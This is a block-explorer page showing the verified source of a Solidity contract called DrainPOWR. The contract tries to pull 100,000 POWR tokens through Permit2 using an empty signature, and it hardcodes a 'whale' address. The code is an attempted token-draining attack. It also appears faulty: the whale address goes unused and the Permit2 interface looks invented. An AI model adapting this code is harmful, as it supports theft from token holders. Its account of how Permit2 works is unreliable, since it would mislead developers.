Verified contractExactMIT
DrainPOWR
Address0xfeefbfcc37f73300c0cfe83aacbcc460987c0388
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,495,109
- Creation transaction
- 0xd1a9a33a8c…ff5b18b12e
drain.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPermit2 {
function executeAllowanceTransfers(
TransferDetails[] calldata transfersDetails
) external payable;
struct TransferDetails {
PermitDetails details;
address spender;
bytes signature;
}
struct PermitDetails {
address token;
uint160 amount;
uint48 expiration;
uint48 nonce;
}
}
contract DrainPOWR {
// Correct Permit2 Address
address constant PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
// Correct PowerLedger (POWR) Address (6 Decimals)
address constant POWR_TOKEN = 0x595832F8FC6BF59c85C527fEC3740A1b7a361269;
// Fixed Whale Address with Correct Checksum
address whale = 0x66470d699684A767e47C43c633727106969D8958;
function drain() public payable {
// 100,000 POWR * 10^6 decimals
uint256 amountWei = 100000 * 10**6;
IPermit2.PermitDetails memory details = IPermit2.PermitDetails({
token: POWR_TOKEN,
amount: uint160(amountWei),
expiration: 0,
nonce: 0
});
IPermit2.TransferDetails memory transfer = IPermit2.TransferDetails({
details: details,
spender: PERMIT2,
signature: ""
});
IPermit2.TransferDetails[] memory transfers = new IPermit2.TransferDetails[](1);
transfers[0] = transfer;
IPermit2(PERMIT2).executeAllowanceTransfers(transfers);
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.